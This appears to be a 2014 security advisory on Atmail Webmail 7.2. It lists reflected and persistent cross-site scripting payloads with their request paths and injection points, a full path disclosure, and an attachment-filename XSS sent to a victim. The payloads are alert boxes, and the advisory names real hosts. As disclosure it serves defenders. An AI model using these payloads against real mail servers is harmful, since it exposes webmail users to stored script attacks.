#Title: Atmail Webmail =>7.2 - Multiple XSS & FPD
#Date: 01.27.2014
#Vendor: atmail.com
#Version: =>7.2 (Latest ATM), tested also on 7.1.1
#Authors: Smash_ & Brag / smash[at]devilteam.pl
#PoC: poczta.pl / demo.atmail.com
 
1. Cross Site Scripting
 
 a) GET - viewmessageTabNumber
 
Request:
host/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--
 
Injection point (line 16):
<input type="hidden" name="tabId" value="viewmessageTab3"><h1>XSS<!--
 
PoC:
https://www.poczta.pl/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--
 
 b) POST - filter
 
 
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX.666/resultContext/searchResultsTab1 HTTP/1.1
Host: www.poczta.pl
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<script>alert(666)</script>
 
Alert will appear; injection point:
<div id=\"noMessageDisplay\" style=\"margin:10px;\">\n\t\t\t\tFound no messages matching <script>alert(666) (...)
 
 c) POST - Search Results Tab
 
Request:
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1"%20whats="up"%20bad=" HTTP/1.1
Host: http://www.poczta.pl
 
Injection point:
<input type=\"hidden\" name=\"resultContext\" id=\"resultContext\" value=\"searchResultsTab1\" whats=\"up\" bad=\"\" \/>
 
d) POST - page
 
Request:
POST /mail/index.php/mail/mail/listfoldermessages/selectFolder/INBOX/page/2"%20xss="true"%20bad=" HTTP/1.1
Host: www.poczta.pl
 
Injection point:
<input type=\"hidden\" name=\"pageNumber\" id=\"pageNumber\" value=\"2\" xss=\"true\" bad=\"\" \/>
 
 
2. Full Path Disclosure
 
Request (GET):
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/
 
Response:
An error occurred
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)
 
3. Persistent XSS - Theme Color
 
Request:
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple"%20onload=alert(666)%20bad="&save=1 HTTP/1.1
Host: www.poczta.pl
 
Now, whenever someone will login alert will appear.
Injection point:
<body class="leaderboard-ad-off footer-ad-off '"XSS fresh blue" onload=alert(666) bad="" id="calon">
 
4. Persistent XSS - Forward a Message
 
First, compose your message and attach an image. Image name should consist
JS code, for example: "><img src=x onerror=prompt(1)>.
 
Send message to a victim, whenever someone will 'Forward' the message,
JS will be executed:
 
<a class=\"attach-btn\" href=\"#\" onClick=\"removeAttachment('bobs.\\\"><img src=x onerror=prompt(1)> (...)
 
P.S - Login and password are sent as plaintext.
                                        ... which is bad.